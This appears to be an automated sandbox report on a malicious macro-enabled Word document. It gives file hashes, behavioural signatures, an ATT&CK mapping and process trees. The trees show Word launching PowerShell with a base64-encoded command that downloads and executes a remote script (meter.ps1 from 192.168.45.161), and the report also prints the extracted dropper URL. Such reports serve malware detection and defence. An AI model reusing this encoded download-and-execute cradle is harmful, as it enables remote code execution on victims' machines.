Analysis

  • max time kernel
    102s
  • max time network
    83s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    11-06-2023 10:17

General

  • Target

    c82717259c368b69cb64572e74042c02.docm

  • Size

    16KB

  • MD5

    c82717259c368b69cb64572e74042c02

  • SHA1

    2fc0ceb46caa5529bf3c7bce4c11793e1bfa45d3

  • SHA256

    5636b00a5c350d5f80d7654e256302f5c58b0d899fa800e8ff47ceb30b796732

  • SHA512

    af326ce518d9ec7a474cec903048e99d05608bfc4fe4966924c046773e43b6d5375742670fd241113e5f838710cb3595080e7cd6b61adec51d23f9f82b9f70e6

  • SSDEEP

    384:/iutbydI+IQLQDZaNxt/ZtNNsstAWObKo1n9EA:/XEIKCGxllNsstobKo19z

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://192.168.45.161/meter.ps1

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c82717259c368b69cb64572e74042c02.docm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1052
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:528
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEANgAxAC8AbQBlAHQAZQByAC4AcABzADEAJwApACAAfAAgAEkARQBYAA==
        2⤵
        • Process spawned unexpected child process
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1512
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEANgAxAC8AbQBlAHQAZQByAC4AcABzADEAJwApACAAfAAgAEkARQBYAA==
        2⤵
        • Process spawned unexpected child process
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:512

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      9ad374a003b5e05c6754490ebd5fe66f

      SHA1

      641cde7cde0b5d11f3effbc699e14dcbcde66452

      SHA256

      101b72c43536497ab51486a7426e514396033dde20f773268ed6a587e984c120

      SHA512

      9b043c814be11a71b21439719482d9d2f260a480a96570cdf2cadb2faca0f63d3b23457c7aea27d9eb4a43a9fb427c25e55ed2222e0b60e916bebe8e06919dd2

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KF1G301OVVDF0E38ITPL.temp
      Filesize

      7KB

      MD5

      da92a528fbf0d4b2d2878f3bff96520f

      SHA1

      a087a718f164ddadf43b8e17d83de741b4f5eca2

      SHA256

      a903e09b3040cadea16aa054e46b23df475234bccdcd8a2729c1c2b78a308143

      SHA512

      d00c0da351249f7eef985e669bfcfb66d7b7adb53b6f3f25e27322ca5292aa7a9d8e1818ef936e0fb7f23f101e51fdeaf267310c2d7838a66be1d2c5d150465f

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
      Filesize

      7KB

      MD5

      da92a528fbf0d4b2d2878f3bff96520f

      SHA1

      a087a718f164ddadf43b8e17d83de741b4f5eca2

      SHA256

      a903e09b3040cadea16aa054e46b23df475234bccdcd8a2729c1c2b78a308143

      SHA512

      d00c0da351249f7eef985e669bfcfb66d7b7adb53b6f3f25e27322ca5292aa7a9d8e1818ef936e0fb7f23f101e51fdeaf267310c2d7838a66be1d2c5d150465f

    • memory/512-100-0x0000000002810000-0x0000000002850000-memory.dmp
      Filesize

      256KB

    • memory/512-99-0x0000000002810000-0x0000000002850000-memory.dmp
      Filesize

      256KB

    • memory/512-98-0x0000000002810000-0x0000000002850000-memory.dmp
      Filesize

      256KB

    • memory/512-97-0x0000000002810000-0x0000000002850000-memory.dmp
      Filesize

      256KB

    • memory/512-96-0x0000000002810000-0x0000000002850000-memory.dmp
      Filesize

      256KB

    • memory/512-95-0x0000000002810000-0x0000000002850000-memory.dmp
      Filesize

      256KB

    • memory/1052-65-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-64-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-67-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-68-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-69-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-71-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-70-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-72-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-81-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-80-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-79-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-78-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-118-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1052-57-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-58-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-60-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-59-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-54-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1052-63-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-66-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-62-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1052-61-0x00000000006A0000-0x00000000007A0000-memory.dmp
      Filesize

      1024KB

    • memory/1512-88-0x0000000002770000-0x00000000027B0000-memory.dmp
      Filesize

      256KB

    • memory/1512-87-0x0000000002770000-0x00000000027B0000-memory.dmp
      Filesize

      256KB

    • memory/1512-86-0x0000000002770000-0x00000000027B0000-memory.dmp
      Filesize

      256KB

    • memory/1512-85-0x0000000002770000-0x00000000027B0000-memory.dmp
      Filesize

      256KB

    • memory/1512-84-0x0000000002770000-0x00000000027B0000-memory.dmp
      Filesize

      256KB